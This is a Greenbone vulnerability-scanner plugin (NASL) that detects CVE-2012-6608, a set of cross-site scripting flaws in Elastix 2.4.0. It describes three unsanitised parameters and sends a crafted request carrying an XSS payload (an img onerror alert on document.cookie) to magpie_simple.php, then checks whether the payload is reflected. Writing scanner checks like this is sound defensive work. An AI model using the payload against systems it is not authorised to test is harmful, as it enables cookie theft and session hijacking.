Elastix Multiple Cross-Site Scripting Vulnerabilities

# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:elastix:elastix";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.803708");
  script_version("2023-10-27T05:05:28+0000");
  script_cve_id("CVE-2012-6608");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2023-10-27 05:05:28 +0000 (Fri, 27 Oct 2023)");
  script_tag(name:"creation_date", value:"2013-06-03 15:04:46 +0530 (Mon, 03 Jun 2013)");
  script_name("Elastix Multiple Cross-Site Scripting Vulnerabilities");
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_dependencies("gb_elastix_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("elastix/http/detected");

  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/121832/elastix240-xss.txt");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/56746");
  script_xref(name:"URL", value:"http://exploitsdownload.com/exploit/na/elastix-240-cross-site-scripting");

  script_tag(name:"summary", value:"Elastix is prone to multiple cross site scripting
  vulnerabilities.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the
  response.");

  script_tag(name:"insight", value:"Multiple flaws exist due to:

  - Input passed via the URL to '/libs/jpgraph/Examples/bar_csimex3.php/' is
  not properly sanitised before being returned to the user.

  - Input passed via the 'url' parameter to
  '/libs/magpierss/scripts/magpie_simple.php' is not properly sanitised
  before being returned to the user.

  - Input passed via the 'Page' parameter to 'xmlservices/E_book.php' is not
  properly sanitised before being returned to the user.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers
  to execute arbitrary HTML and script code in a users browser session in context of an
  affected site and launch other attacks.");

  script_tag(name:"affected", value:"Elastix version 2.4.0 Stable and prior.");

  script_tag(name:"solution", value:"No known solution was made available for at least one
  year since the disclosure of this vulnerability. Likely none will be provided anymore.
  General solution options are to upgrade to a newer release, disable respective features,
  remove the product or replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

url = dir + '/libs/magpierss/scripts/magpie_simple.php?url="><IMg+srC%3D+x+OnerRoR+%3D+alert(document.cookie)>';

if(http_vuln_check(port:port, url:url, check_header:TRUE, pattern:"OnerRoR = alert\(document\.cookie\)>", extra_check:make_list("Channel:", "RSS URL:"))) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);